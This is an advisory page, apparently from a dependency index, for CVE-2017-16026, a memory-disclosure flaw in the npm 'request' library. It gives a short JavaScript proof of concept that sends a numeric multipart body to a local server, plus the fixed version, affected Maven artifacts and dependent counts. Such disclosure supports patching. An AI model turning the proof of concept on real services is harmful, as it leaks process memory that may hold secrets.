CVE-2017-16026
Remote Memory Exposure in request
Description
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » requestvia npm request | >= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0 | 2.68.0 |
| org.webjars » requestvia npm request | >= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0 | 2.68.0 |
| org.webjars.npm » requestvia npm request | >= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0 | 2.68.0 |
Blast radius
80% of the dependent artifacts (16) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 16 |
| 2 hops | 2 |
| 3 hops | 4 |
| 4 hops | 8 |
| 5 hops | 2 |
Most used dependents
- org.webjars.npm » bower13 usages
- org.webjars.npm » phantomjs7 usages
- org.webjars » bin-build4 usages
- org.webjars » bin-wrapper4 usages
- org.webjars.npm » coveralls2 usages
- org.webjars » download2 usages
- org.webjars » imagemin-gifsicle1 usages
- org.webjars » imagemin-jpegtran1 usages
- org.webjars » imagemin-optipng1 usages
- org.webjars » imagemin-pngquant1 usages
- org.webjars.npm » localtunnel1 usages
- org.webjars.npm » phantomjs2-ext1 usages
- org.webjars » gifsicle1 usages
- org.webjars » jpegtran-bin1 usages
- org.webjars » optipng-bin1 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2017-16026 | nvd.nist.gov |
| Package | request/request | github.com |
| Web | request/request issue #1904 | github.com |
| Web | request/request pull request #2018 | github.com |
| Web | request/request pull request #2022 | github.com |
| Web | request/request commit 29d8181 | github.com |
